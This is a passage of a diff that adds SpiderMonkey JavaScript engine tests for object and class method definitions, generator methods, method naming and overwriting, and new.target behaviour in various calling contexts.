+syntaxError("b = {a : 5, a({}}");
+syntaxError("b = {a : 5, a){}}");
+syntaxError("b = {a : 5, a(){}");
+var c = "d";
+b = { a : 5,
+ [c] : "hey",
+ e() {return 6;},
+ get f() {return 7;},
+ set f(g) {this.h = 9;}
+}
+assertEq(b.a, 5);
+assertEq(b.d, "hey");
+assertEq(b.e(), 6);
+assertEq(b.f, 7);
+assertEq(b.h !== 9, true);
+b.f = 15;
+assertEq(b.h, 9);
+
+
+var i = 0;
+var a = {
+ foo0 : function (){return 0;},
+ ["foo" + ++i](){return 1;},
+ ["foo" + ++i](){return 2;},
+ ["foo" + ++i](){return 3;},
+ foo4(){return 4;}
+};
+assertEq(a.foo0(), 0);
+assertEq(a.foo1(), 1);
+assertEq(a.foo2(), 2);
+assertEq(a.foo3(), 3);
+assertEq(a.foo4(), 4);
+
+// Symbols.
+var unique_sym = Symbol("1"), registered_sym = Symbol.for("2");
+a = { [unique_sym](){return 2;}, [registered_sym](){return 3;} };
+assertEq(a[unique_sym](), 2);
+assertEq(a[registered_sym](), 3);
+
+// Method characteristics.
+a = { b(){ return 4;} };
+b = Object.getOwnPropertyDescriptor(a, "b");
+assertEq(b.configurable, true);
+assertEq(b.enumerable, true);
+assertEq(b.writable, true);
+assertEq(b.value(), 4);
+
+// prototype property
+assertEq(a.b.prototype, undefined);
+assertEq(a.b.hasOwnProperty("prototype"), false);
+
+// Defining several methods using eval.
+var code = "({";
+for (i = 0; i < 1000; i++)
+ code += "['foo' + " + i + "]() {return 'ok';}, "
+code += "['bar']() {return 'all ok'}});";
+var obj = eval(code);
+for (i = 0; i < 1000; i++)
+ assertEq(obj["foo" + i](), "ok");
+assertEq(obj["bar"](), "all ok");
+
+// this
+var obj = {
+ a : "hey",
+ meth(){return this.a;}
+}
+assertEq(obj.meth(), "hey");
+
+// Inheritance
+var obj2 = Object.create(obj);
+assertEq(obj2.meth(), "hey");
+
+var obj = {
+ a() {
+ return "hey";
+ }
+}
+assertEq(obj.a.call(), "hey");
+
+// Duplicates
+var obj = {
+ meth : 3,
+ meth() { return 4; },
+ meth() { return 5; }
+}
+assertEq(obj.meth(), 5);
+
+var obj = {
+ meth() { return 4; },
+ meth() { return 5; },
+ meth : 3
+}
+assertEq(obj.meth, 3);
+assertThrowsInstanceOf(function() {obj.meth();}, TypeError);
+
+// Strict mode
+a = {b(c){"use strict";return c;}};
+assertEq(a.b(1), 1);
+a = {["b"](c){"use strict";return c;}};
+assertEq(a.b(1), 1);
+
+// Allow strict-reserved names as methods in objects.
+// (Bug 1124362)
+a = { static() { return 4; } };
+assertEq(a.static(), 4);
+
+a = { get static() { return 4; } };
+assertEq(a.static, 4);
+
+a = { set static(x) { assertEq(x, 4); } };
+a.static = 4;
+
+function testStrictMode() {
+ "use strict";
+ var obj = { static() { return 4; } };
+ assertEq(obj.static(), 4);
+
+ obj = { get static() { return 4; } };
+ assertEq(obj.static, 4);
+
+ obj = { set static(x) { assertEq(x, 4); } };
+ obj.static = 4;
+}
+testStrictMode();
+
+// Tests provided by benvie in the bug to distinguish from ES5 desugar.
+assertEq(({ method() {} }).method.name, "method");
+assertThrowsInstanceOf(function() {({ method() { method() } }).method() }, ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/methDefnGen.js b/js/src/tests/non262/class/methDefnGen.js
new file mode 100644
index 0000000000..3165ed4481
--- /dev/null
+++ b/js/src/tests/non262/class/methDefnGen.js
@@ -0,0 +1,83 @@
+var BUGNUMBER = 924672;
+var summary = 'Method Definitions - Generators'
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+syntaxError("{*a(){}}");
+syntaxError("b = {*(){}");
+syntaxError("b = {*{}");
+syntaxError("b = {*){}");
+syntaxError("b = {*({}");
+syntaxError("b = {*(){");
+syntaxError("b = {*()}");
+syntaxError("b = {*a(");
+syntaxError("b = {*a)");
+syntaxError("b = {*a(}");
+syntaxError("b = {*a)}");
+syntaxError("b = {*a()");
+syntaxError("b = {*a()}");
+syntaxError("b = {*a(){}");
+syntaxError("b = {*a){}");
+syntaxError("b = {*a}}");
+syntaxError("b = {*a{}}");
+syntaxError("b = {*a({}}");
+syntaxError("b = {*a@(){}}");
+syntaxError("b = {*@(){}}");
+syntaxError("b = {*get a(){}}");
+syntaxError("b = {get *a(){}}");
+syntaxError("b = {get a*(){}}");
+syntaxError("b = {*set a(c){}}");
+syntaxError("b = {set *a(c){}}");
+syntaxError("b = {set a*(c){}}");
+syntaxError("b = {*a : 1}");
+syntaxError("b = {a* : 1}");
+syntaxError("b = {a :* 1}");
+syntaxError("b = {a*(){}}");
+
+// Generator methods.
+b = { * g() {
+ var a = { [yield 1]: 2, [yield 2]: 3};
+ return a;
+} }
+var it = b.g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value.hello, 2);
+assertEq(next.value.world, 3);
+
+// prototype property
+assertEq(b.g.hasOwnProperty("prototype"), true);
+
+// Strict mode
+a = {*b(c){"use strict";yield c;}};
+assertEq(a.b(1).next().value, 1);
+a = {*["b"](c){"use strict";return c;}};
+assertEq(a.b(1).next().value, 1);
+
+// Generators should not have [[Construct]]
+a = {*g() { yield 1; }}
+assertThrowsInstanceOf(() => { new a.g }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/method-named-static.js b/js/src/tests/non262/class/method-named-static.js
new file mode 100644
index 0000000000..c5a2ed8827
--- /dev/null
+++ b/js/src/tests/non262/class/method-named-static.js
@@ -0,0 +1,56 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Instance method named "static", with and without escape sequence.
+assertEq((new class {
+ static() { return "method-static-no-escape"; }
+}).static(), "method-static-no-escape");
+
+assertEq((new class {
+ st\u0061tic() { return "method-static-escape"; }
+}).static(), "method-static-escape");
+
+// Instance getter named "static", with and without escape sequence.
+assertEq((new class {
+ get static() { return "getter-static-no-escape"; }
+}).static, "getter-static-no-escape");
+
+assertEq((new class {
+ get static() { return "getter-static-escape"; }
+}).static, "getter-static-escape");
+
+// Static method named "static", with and without escape sequence.
+assertEq(class {
+ static static() { return "static-method-static-no-escape"; }
+}.static(), "static-method-static-no-escape");
+
+assertEq(class {
+ static st\u0061tic() { return "static-method-static-escape"; }
+}.static(), "static-method-static-escape");
+
+// Static getter named "static", with and without escape sequence.
+assertEq(class {
+ static get static() { return "static-getter-static-no-escape"; }
+}.static, "static-getter-static-no-escape");
+
+assertEq(class {
+ static get st\u0061tic() { return "static-getter-static-escape"; }
+}.static, "static-getter-static-escape");
+
+
+// The static modifier itself must not contain any escape sequences.
+assertThrowsInstanceOf(() => eval(String.raw`
+ class C {
+ st\u0061tic m() {}
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ class C {
+ st\u0061tic get m() {}
+ }
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/methodInstallation.js b/js/src/tests/non262/class/methodInstallation.js
new file mode 100644
index 0000000000..bbb6c2f727
--- /dev/null
+++ b/js/src/tests/non262/class/methodInstallation.js
@@ -0,0 +1,101 @@
+// Do the things we write in classes actually appear as they are supposed to?
+
+var methodCalled;
+var getterCalled;
+var setterCalled;
+var constructorCalled;
+var staticMethodCalled;
+var staticGetterCalled;
+var staticSetterCalled;
+class testClass {
+ constructor() { constructorCalled = true; }
+ __proto__() { methodCalled = true }
+ get getter() { getterCalled = true; }
+ set setter(x) { setterCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ static get staticGetter() { staticGetterCalled = true; }
+ static set staticSetter(x) { staticSetterCalled = true; }
+ *[Symbol.iterator]() { yield "cow"; yield "pig"; }
+}
+
+for (let a of [testClass,
+ class {
+ constructor() { constructorCalled = true; }
+ __proto__() { methodCalled = true }
+ get getter() { getterCalled = true; }
+ set setter(x) { setterCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ static get staticGetter() { staticGetterCalled = true; }
+ static set staticSetter(x) { staticSetterCalled = true; }
+ *[Symbol.iterator]() { yield "cow"; yield "pig"; }
+ }]) {
+
+ methodCalled = false;
+ getterCalled = false;
+ setterCalled = false;
+ constructorCalled = false;
+ staticMethodCalled = false;
+ staticGetterCalled = false;
+ staticSetterCalled = false;
+
+ var aConstDesc = Object.getOwnPropertyDescriptor(a.prototype, "constructor");
+ assertEq(aConstDesc.writable, true);
+ assertEq(aConstDesc.configurable, true);
+ assertEq(aConstDesc.enumerable, false);
+ new aConstDesc.value();
+ assertEq(constructorCalled, true);
+
+ // __proto__ is just an identifier for classes. No prototype changes are made.
+ assertEq(Object.getPrototypeOf(a.prototype), Object.prototype);
+ var aMethDesc = Object.getOwnPropertyDescriptor(a.prototype, "__proto__");
+ assertEq(aMethDesc.writable, true);
+ assertEq(aMethDesc.configurable, true);
+ assertEq(aMethDesc.enumerable, false);
+ aMethDesc.value();
+ assertEq(methodCalled, true);
+
+ var aGetDesc = Object.getOwnPropertyDescriptor(a.prototype, "getter");
+ assertEq(aGetDesc.configurable, true);
+ assertEq(aGetDesc.enumerable, false);
+ aGetDesc.get();
+ assertThrowsInstanceOf(() => new aGetDesc.get, TypeError);
+ assertEq(getterCalled, true);
+
+ var aSetDesc = Object.getOwnPropertyDescriptor(a.prototype, "setter");
+ assertEq(aSetDesc.configurable, true);
+ assertEq(aSetDesc.enumerable, false);
+ aSetDesc.set();
+ assertThrowsInstanceOf(() => new aSetDesc.set, TypeError);
+ assertEq(setterCalled, true);
+ assertDeepEq(aSetDesc, Object.getOwnPropertyDescriptor(a.prototype, "setter"));
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticMethod"), undefined);
+ var aStaticMethDesc = Object.getOwnPropertyDescriptor(a, "staticMethod");
+ assertEq(aStaticMethDesc.configurable, true);
+ assertEq(aStaticMethDesc.enumerable, false);
+ assertEq(aStaticMethDesc.writable, true);
+ aStaticMethDesc.value();
+ assertThrowsInstanceOf(() => new aStaticMethDesc.value, TypeError);
+ assertEq(staticMethodCalled, true);
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticGetter"), undefined);
+ var aStaticGetDesc = Object.getOwnPropertyDescriptor(a, "staticGetter");
+ assertEq(aStaticGetDesc.configurable, true);
+ assertEq(aStaticGetDesc.enumerable, false);
+ aStaticGetDesc.get();
+ assertThrowsInstanceOf(() => new aStaticGetDesc.get, TypeError);
+ assertEq(staticGetterCalled, true);
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticSetter"), undefined);
+ var aStaticSetDesc = Object.getOwnPropertyDescriptor(a, "staticSetter");
+ assertEq(aStaticSetDesc.configurable, true);
+ assertEq(aStaticSetDesc.enumerable, false);
+ aStaticSetDesc.set();
+ assertThrowsInstanceOf(() => new aStaticSetDesc.set, TypeError);
+ assertEq(staticSetterCalled, true);
+
+ assertEq([...new a()].join(), "cow,pig");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/methodName.js b/js/src/tests/non262/class/methodName.js
new file mode 100644
index 0000000000..02a726c105
--- /dev/null
+++ b/js/src/tests/non262/class/methodName.js
@@ -0,0 +1,40 @@
+class TestClass {
+ get getter() { }
+ set setter(x) { }
+ method() { }
+
+ static get staticGetter() { }
+ static set staticSetter(x) { }
+ static staticMethod() { }
+
+ get 1() { }
+ set 2(v) { }
+ 3() { }
+
+ static get 4() { }
+ static set 5(x) { }
+ static 6() { }
+}
+
+function name(obj, property, get) {
+ let desc = Object.getOwnPropertyDescriptor(obj, property);
+ return (get ? desc.get : desc.set).name;
+}
+
+assertEq(name(TestClass.prototype, "getter", true), "get getter");
+assertEq(name(TestClass.prototype, "setter", false), "set setter");
+assertEq(TestClass.prototype.method.name, "method");
+
+assertEq(name(TestClass, "staticGetter", true), "get staticGetter");
+assertEq(name(TestClass, "staticSetter", false), "set staticSetter");
+assertEq(TestClass.staticMethod.name, "staticMethod");
+
+assertEq(name(TestClass.prototype, "1", true), "get 1");
+assertEq(name(TestClass.prototype, "2", false), "set 2");
+assertEq(TestClass.prototype[3].name, "3");
+
+assertEq(name(TestClass, "4", true), "get 4");
+assertEq(name(TestClass, "5", false), "set 5");
+assertEq(TestClass[6].name, "6");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/class/methodOverwrites.js b/js/src/tests/non262/class/methodOverwrites.js
new file mode 100644
index 0000000000..c1c460a28c
--- /dev/null
+++ b/js/src/tests/non262/class/methodOverwrites.js
@@ -0,0 +1,80 @@
+// Ensure that we can overwrite methods when more tha one is present.
+{
+ var result = 0;
+ // Regardless of order, the constructor is overridden by any CPN, because it's
+ // processed seperately.
+ class a { ["constructor"]() { result += 1; }; constructor() { result += 2; } }
+ var aInst = new a();
+ assertEq(result, 2);
+ aInst.constructor();
+ assertEq(result, 3);
+
+ class b { constructor() { result += 2; } ["constructor"]() { result += 1; }; }
+ var bInst = new b();
+ assertEq(result, 5);
+ bInst.constructor();
+ assertEq(result, 6);
+
+ class c { constructor() { } method() { result += 1 } get method() { result += 2 } }
+ new c().method;
+ assertEq(result, 8);
+
+ class d { constructor() { } get method() { result += 1 } method() { result += 2 } }
+ new d().method();
+ assertEq(result, 10);
+
+ // getters and setter should not overwrite each other, but merge cleanly.
+ class e { constructor() { } get method() { result += 1 } set method(x) { } }
+ new e().method;
+ assertEq(result, 11);
+
+ class f { constructor() { }
+ set method(x) { throw "NO"; }
+ method() { throw "NO" }
+ get method() { return new Function("result += 1"); }
+ }
+ new f().method();
+ assertEq(result, 12);
+}
+
+// Try again with expressions.
+{
+ var result = 0;
+ // Regardless of order, the constructor is overridden by any CPN, because it's
+ // processed seperately.
+ let a = class { ["constructor"]() { result += 1; }; constructor() { result += 2; } };
+ var aInst = new a();
+ assertEq(result, 2);
+ aInst.constructor();
+ assertEq(result, 3);
+
+ let b = class { constructor() { result += 2; } ["constructor"]() { result += 1; }; };
+ var bInst = new b();
+ assertEq(result, 5);
+ bInst.constructor();
+ assertEq(result, 6);
+
+ let c = class { constructor() { } method() { result += 1 } get method() { result += 2 } };
+ new c().method;
+ assertEq(result, 8);
+
+ let d = class { constructor() { } get method() { result += 1 } method() { result += 2 } };
+ new d().method();
+ assertEq(result, 10);
+
+ // getters and setter should not overwrite each other, but merge cleanly.
+ let e = class { constructor() { } get method() { result += 1 } set method(x) { } };
+ new e().method;
+ assertEq(result, 11);
+
+ let f = class { constructor() { }
+ set method(x) { throw "NO"; }
+ method() { throw "NO" }
+ get method() { return new Function("result += 1"); }
+ };
+ new f().method();
+ assertEq(result, 12);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/methodsPrototype.js b/js/src/tests/non262/class/methodsPrototype.js
new file mode 100644
index 0000000000..07a565ceb6
--- /dev/null
+++ b/js/src/tests/non262/class/methodsPrototype.js
@@ -0,0 +1,39 @@
+class TestClass {
+ constructor() { }
+ method() { }
+ get getter() { }
+ set setter(x) { }
+ *generator() { }
+ static staticMethod() { }
+ static get staticGetter() { }
+ static set staticSetter(x) { }
+ static *staticGenerator() { }
+}
+
+var test = new TestClass();
+
+var hasPrototype = [
+ test.constructor,
+ test.generator,
+ TestClass.staticGenerator
+]
+
+for (var fun of hasPrototype) {
+ assertEq(fun.hasOwnProperty('prototype'), true);
+}
+
+var hasNoPrototype = [
+ test.method,
+ Object.getOwnPropertyDescriptor(test.__proto__, 'getter').get,
+ Object.getOwnPropertyDescriptor(test.__proto__, 'setter').set,
+ TestClass.staticMethod,
+ Object.getOwnPropertyDescriptor(TestClass, 'staticGetter').get,
+ Object.getOwnPropertyDescriptor(TestClass, 'staticSetter').set,
+]
+
+for (var fun of hasNoPrototype) {
+ assertEq(fun.hasOwnProperty('prototype'), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/newTargetArgumentsIntact.js b/js/src/tests/non262/class/newTargetArgumentsIntact.js
new file mode 100644
index 0000000000..d047085ea0
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetArgumentsIntact.js
@@ -0,0 +1,44 @@
+// Since we put new.target at the end of the arguments vector, ensrue that it
+// doesn't interact with the arguments object
+
+var argsContent;
+
+function argsWithNewTarget(foo) {
+ assertEq(arguments.length, argsContent.length);
+ for (let i = 0; i < arguments.length; i++)
+ assertEq(arguments[i], argsContent[i]);
+ let nt = new.target;
+
+ // Assigning to the arguments object shouldn't infect new.target, either
+ arguments[arguments.length] = 42;
+ assertEq(new.target, nt);
+}
+
+// Test constructing invocations, with under and overflow
+argsContent = [];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget();
+
+argsContent = [1];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(1);
+
+argsContent = [1,2,3];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(1, 2, 3);
+
+// Test spreadnew as well.
+argsContent = [];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[]);
+
+argsContent = [1];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[1]);
+
+argsContent = [1,2,3];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[1,2,3]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetArrow.js b/js/src/tests/non262/class/newTargetArrow.js
new file mode 100644
index 0000000000..548f750475
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetArrow.js
@@ -0,0 +1,24 @@
+// new.target is valid in any arrow function not in a global context.
+new Function('(() => new.target)()');
+
+// It's also good inside eval, but not global eval
+assertThrowsInstanceOf(() => eval('() => new.target'), SyntaxError);
+
+function assertNewTarget(expected) {
+ assertEq((()=>new.target)(), expected);
+ assertEq(eval('()=>new.target')(), expected);
+
+ // Make sure that arrow functions can escape their original context and
+ // still get the right answer.
+ return (() => new.target);
+}
+
+const ITERATIONS = 550;
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(assertNewTarget(undefined)(), undefined);
+
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(new assertNewTarget(assertNewTarget)(), assertNewTarget);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetBound.js b/js/src/tests/non262/class/newTargetBound.js
new file mode 100644
index 0000000000..f65cfe3caf
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetBound.js
@@ -0,0 +1,16 @@
+function boundTarget(expected) {
+ assertEq(new.target, expected);
+}
+
+let bound = boundTarget.bind(undefined);
+
+const TEST_ITERATIONS = 550;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ bound(undefined);
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ new bound(boundTarget);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetCCW.js b/js/src/tests/non262/class/newTargetCCW.js
new file mode 100644
index 0000000000..9f5f870d40
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetCCW.js
@@ -0,0 +1,10 @@
+// Make sure we wrap the new target on CCW construct calls.
+var g = newGlobal();
+
+let f = g.eval('(function (expected) { this.accept = new.target === expected; })');
+
+for (let i = 0; i < 1100; i++)
+ assertEq(new f(f).accept, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetDVG.js b/js/src/tests/non262/class/newTargetDVG.js
new file mode 100644
index 0000000000..1f9c7d7fc5
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetDVG.js
@@ -0,0 +1,7 @@
+function thunk() {
+ new.target();
+}
+assertThrownErrorContains(thunk, "new.target");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/newTargetDefaults.js b/js/src/tests/non262/class/newTargetDefaults.js
new file mode 100644
index 0000000000..d5a4c5640b
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetDefaults.js
@@ -0,0 +1,25 @@
+// Check that new.target works properly in defaults.
+
+function check(expected, actual = new.target) { assertEq(actual, expected); }
+new check(check);
+check(undefined);
+
+let evaldCheck = eval("(" + check.toString() + ")");
+new evaldCheck(evaldCheck);
+evaldCheck(undefined);
+
+function testInFunction() {
+ function checkInFunction(expected, actual = new.target) { assertEq(actual, expected); }
+ new checkInFunction(checkInFunction);
+ checkInFunction(undefined);
+
+ let evaldCheckInFunction = eval("(" + checkInFunction.toString() + ")");
+ new evaldCheckInFunction(evaldCheckInFunction);
+ evaldCheckInFunction(undefined);
+}
+
+testInFunction();
+new testInFunction();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetDirectInvoke.js b/js/src/tests/non262/class/newTargetDirectInvoke.js
new file mode 100644
index 0000000000..d2cd1128c3
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetDirectInvoke.js
@@ -0,0 +1,50 @@
+// new.target is valid inside Function() invocations
+var func = new Function("new.target");
+
+// Note that this will also test new.target in ion inlines. When the toplevel
+// script is compiled, assertNewTarget will be inlined.
+function assertNewTarget(expected, unused) { assertEq(new.target, expected); }
+
+// Test non-constructing invocations, with arg underflow, overflow, and correct
+// numbers
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined, null);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined, null, 1);
+
+// Test spread-call
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined]);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined, null]);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined, null, 1]);
+
+// Test constructing invocations, again with under and overflow
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget, null);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget, null, 1);
+
+// Test spreadnew as well.
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget]);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget, null]);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget, null, 1]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetEval.js b/js/src/tests/non262/class/newTargetEval.js
new file mode 100644
index 0000000000..f7581c5ab8
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetEval.js
@@ -0,0 +1,40 @@
+// Eval of new.target is invalid outside functions.
+try {
+ eval('new.target');
+ assertEq(false, true);
+} catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+}
+
+// new.target is invalid inside eval inside top-level arrow functions
+assertThrowsInstanceOf(() => eval('new.target'), SyntaxError);
+
+// new.target is invalid inside indirect eval.
+let ieval = eval;
+try {
+ (function () { return ieval('new.target'); })();
+ assertEq(false, true);
+} catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+}
+
+function assertNewTarget(expected) {
+ assertEq(eval('new.target'), expected);
+ assertEq((()=>eval('new.target'))(), expected);
+
+ // Also test nestings "by induction"
+ assertEq(eval('eval("new.target")'), expected);
+ assertEq(eval("eval('eval(`new.target`)')"), expected);
+}
+
+const ITERATIONS = 550;
+for (let i = 0; i < ITERATIONS; i++)
+ assertNewTarget(undefined);
+
+for (let i = 0; i < ITERATIONS; i++)
+ new assertNewTarget(assertNewTarget);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetGenerators.js b/js/src/tests/non262/class/newTargetGenerators.js
new file mode 100644
index 0000000000..614b1ab908
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetGenerators.js
@@ -0,0 +1,14 @@
+function *generatorNewTarget(expected) {
+ assertEq(new.target, expected);
+ assertEq(eval('new.target'), expected);
+ assertEq((() => new.target)(), expected);
+ yield (() => new.target);
+}
+
+const ITERATIONS = 25;
+
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(generatorNewTarget(undefined).next().value(), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetMethods.js b/js/src/tests/non262/class/newTargetMethods.js
new file mode 100644
index 0000000000..2383dc8bd8
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetMethods.js
@@ -0,0 +1,51 @@
+// Just like newTargetDirectInvoke, except to prove it works in functions
+// defined with method syntax as well. Note that methods, getters, and setters
+// are not constructible.
+
+let ol = {
+ olTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); },
+ get ol() { assertEq(new.target, undefined); },
+ set ol(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+}
+
+class cl {
+ constructor() { assertEq(new.target, cl); }
+ clTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+ get cl() { assertEq(new.target, undefined); }
+ set cl(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+
+ static staticclTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+ static get staticcl() { assertEq(new.target, undefined); }
+ static set staticcl(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+}
+
+const TEST_ITERATIONS = 150;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.olTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.ol;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.ol = 4;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticclTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticcl;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticcl = 4;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ new cl();
+
+let clInst = new cl();
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.clTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.cl;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.cl = 4;
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetNonFunction.js b/js/src/tests/non262/class/newTargetNonFunction.js
new file mode 100644
index 0000000000..59e6febef7
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetNonFunction.js
@@ -0,0 +1,10 @@
+// Make sure that we can plumb new.target, even if the results are going to
+// throw.
+
+assertThrowsInstanceOf(() => new ""(...Array()), TypeError);
+
+assertThrowsInstanceOf(() => new ""(), TypeError);
+assertThrowsInstanceOf(() => new ""(1), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetProxyNative.js b/js/src/tests/non262/class/newTargetProxyNative.js
new file mode 100644
index 0000000000..89cdd64ab1
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetProxyNative.js
@@ -0,0 +1,5 @@
+var proxyToArray = new Proxy(Array, {});
+new proxyToArray();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/outerBinding.js b/js/src/tests/non262/class/outerBinding.js
new file mode 100644
index 0000000000..19ffcb3e4a
--- /dev/null
+++ b/js/src/tests/non262/class/outerBinding.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!xulRuntime.shell)
+//
+// The above skip-if is because global lexicals aren't yet implemented. Remove
+// that and the |evaluate| call below once they are.
+//
+// A class statement creates a mutable lexical outer binding.
+
+class Foo { constructor() { } }
+assertEq(typeof Foo, "function");
+Foo = 5;
+assertEq(Foo, 5);
+
+{
+ class foo { constructor() { } }
+ assertEq(typeof foo, "function");
+ foo = 4;
+ assertEq(foo, 4);
+}
+
+{
+ class PermanentBinding { constructor() { } }
+ delete PermanentBinding;
+ // That...didn't actually work, right?
+ assertEq(typeof PermanentBinding, "function");
+}
+
+evaluate("const globalConstant = 0; var earlyError = true;");
+
+try {
+ evaluate("earlyError = false; class globalConstant { constructor() { } }");
+} catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+}
+assertEq(earlyError, true);
+
+function strictEvalShadows() {
+ "use strict";
+ let x = 4;
+ eval(`class x { constructor() { } }
+ assertEq(typeof x, "function");
+ `);
+ assertEq(x, 4);
+}
+strictEvalShadows()
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/parenExprToString.js b/js/src/tests/non262/class/parenExprToString.js
new file mode 100644
index 0000000000..a93972ce92
--- /dev/null
+++ b/js/src/tests/non262/class/parenExprToString.js
@@ -0,0 +1,8 @@
+// Test that parenthesized class expressions don't get their toString offsets
+// messed up.
+
+assertEq((class {}).toString(), "class {}");
+assertEq(((class {})).toString(), "class {}");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/shell.js b/js/src/tests/non262/class/shell.js
new file mode 100644
index 0000000000..1169b2c5f4
--- /dev/null
+++ b/js/src/tests/non262/class/shell.js
